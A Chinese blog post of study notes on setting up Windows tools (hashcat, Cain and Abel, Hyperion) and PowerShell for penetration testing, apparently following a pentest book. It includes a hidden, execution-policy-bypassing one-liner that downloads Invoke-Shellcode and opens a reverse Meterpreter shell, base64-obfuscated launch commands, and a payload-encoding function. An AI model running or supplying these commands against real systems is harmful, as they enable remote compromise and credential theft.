第一章 赛前准备--windows检查相应工具

2018-08-03  本文已影响0人  NoviceQAQ

工欲善其事,必先利其器!看书的时候不要写废话


1.5.6Windows虚拟机

书中“墙裂”推荐win7和win8,但是我这种非主流的人还是用win10吧。建议还是使用虚拟机,毕竟有镜像还是好点。
高级工具列表

HxD(十六进制编辑器)

下载地址:https://mh-nexus.de/en/hxd/

下载.png

下载后直接安装就可以了,下图为安装成功界面。

HXD.png

Evade

下载地址:https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
现在已经下载不到了,暂时不安装了。

Hyperion

对不住大家没有安装成功。
下载地址:http://www.nullsecurity.net/tools/binary.html

下载1.png

下载安装Windows编译器,地址为:http://sourceforge.net/projects/mingw/

下载2.png

MinGW下载后安装,安装后我把所有环境都安装了

安装.png

将MinGW/bin下将mingw32-make.exe重命名为make.exe并添加到环境变量中,但是编译的时候出错占时解决不了。

出错.png

虚心求看到的大神指导。

Metasploit

单纯不想装backbox已有

Nexpose/Nessus

单纯不想装backbox已有

Nmap

单纯不想装backbox已有

oclHashcat

地址为:http://hashcat.net/oclhashcat
世界上最快的密码破解工具,下载解压可以运行。
GPU驱动程序要求:
Linux上的AMD GPU需要“RadeonOpenCompute(ROCm)”软件平台(1.6.180或更高版本)
Windows上的AMD GPU需要“AMD Radeon Software Crimson Edition”(15.12或更高版本)
英特尔CPU需要“适用于英特尔酷睿和英特尔至强处理器的OpenCL运行时”(16.1.1或更高版本)
Linux上的英特尔GPU需要“适用于Linux的OpenCL 2.0 GPU驱动程序包”(2.0或更高版本)
Windows上的Intel GPU需要“用于Intel Iris和Intel HD Graphics的OpenCL驱动程序”
NVIDIA GPU需要“NVIDIA驱动程序”(367.x或更高版本)

Cain and Abel

地址为http://www.oxid.it/cain.html
Cain&Abel是Microsoft操作系统的密码恢复工具。它可以通过嗅探网络,使用Dictionary,Brute-Force和Cryptanalysis攻击破解加密密码,记录VoIP会话,解码加密密码,恢复无线网络密钥,显示密码框,发现缓存密码和分析路由,轻松恢复各种密码协议。该程序不会利用任何软件漏洞或无法轻易修复的错误。它涵盖了协议标准,身份验证方法和缓存机制中存在的一些安全方面/弱点; 它的主要目的是简化从各种来源恢复密码和凭证。

有点老旧.png

下载后直接运行安装就行。

Burp Suite Pro

单纯不想装backbox已有

Nishang

单纯不想装backbox已有

PowerSploit

单纯不想装backbox已有

Firefox(插件)

单纯不想装backbox已有

1.5.8启动PowerShell

powershell 脚本安全介绍:http://bit.ly/1MCb7EJ
为了快速学习可以在这里看看操作手册,https://www.pstips.net/powershell-online-tutorials毕竟英语不好听老外用英语讲,好费力。

Powershell对于渗透测试人员的益处:

Powershell中常用的基本参数和基本设置

1、32位PowerShell脚本执行:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

2、64位PowerShell 脚本执行:

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

常用执行命令
从网站服务器下载PowerShell脚本,并执行脚本。用于在被攻击对象主机上下载Meterpreter PowerShell脚本。
1、例如要下目标上执行Meterpreter Shell,需要下载https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1这个脚本进行调用反向https Meterpreter shell,可以使用如下命令:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https-Lhost X.X.X.X -Lport XX

注意:Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。

2、例如,下载同一个文件到目标上。不需要访问网页,就可以自动下载和执行文件。在本地执行文件:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& {Import-Module [Path and File of PowerShell] ; [Parameters]}"

3、例如我们通常使用base64编码Powershell脚本,目的是混淆和压缩代码:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc[Base64 Code]

1.5.9 Easy-P

该工具是作者写的,书中再后面还会运用到。这里作者提及脚本源码可以自己拷贝一份,其实重点还是需要自己理解,盲目的去使用工具,你永远都不会知道别人的工具里是否含有恶意的脚本。

看了下源码里面功能主要有以下几种:
1、提权

2、横向渗透

3、键盘记录

4、metasploit后渗透的powershell

5、修改用户执行策略

#powershell -绕过安全执行保护 -不提供交互式提示符 -将窗口隐藏 执行命令{设置powershell环境运行权限 允许所有的script运行  Scope CurrentUser}
print 'powershell -exec bypass -noninteractive -w hidden -Command "& {Set-ExecutionPolicy Unrestricted -Scope CurrentUser}"'

6、Powershell 101

7、使用Base64 对Powershell脚本进行编码

8、Mimikatz - 用内存中读取密码

99、退出

上面的工具都需要下载额外的.ps1(Powershell脚本来执行),所以在以后的使用中需要连外网,源码中对powershell脚本进行的base64编码需要学习下,每个字符间插入\x00是个什么梗。

def powershell_encode(data):
    #https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
    #Carlos - aka Darkoperator 编写了下面的代码
    blank_command = ""
    powershell_command = ""
    # 删除ISE可能添加的怪异字符
    #python的file对象的readline以及readlines程序中,针对一些UTF-8编码的文件,
    #开头会加入BOM来表明编码方式。
    #使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # 循环遍历通过正则过滤后的每个字符
    for char in (n.sub("", data)):
        # 每个字符间插入“\x00”空字符
        blank_command += char + "\x00"
    powershell_command = blank_command
    # 对powershell进行base64编码
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command

    # base64编码是对二进制数据进行处理,每3个字节划为一组,一共是3x8=24bit
    # 再将24bit划为4组,每组正好6个bit(可表示2的6次方、即64个数)
    #这样我们就得到了4个数字,将其作为索引查码表,获得相应的4个字符,就是编码后的字符串。
    #所以,Base64编码会把3字节的二进制数据编码为4字节的文本数据,长度增加33%。
    #如果要编码的二进制数据不是3的倍数,最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
    #z最后编码的末尾加上1个或2个=号,表示补了多少字节,解码的时候,会自动去掉。
上一篇下一篇

猜你喜欢

热点阅读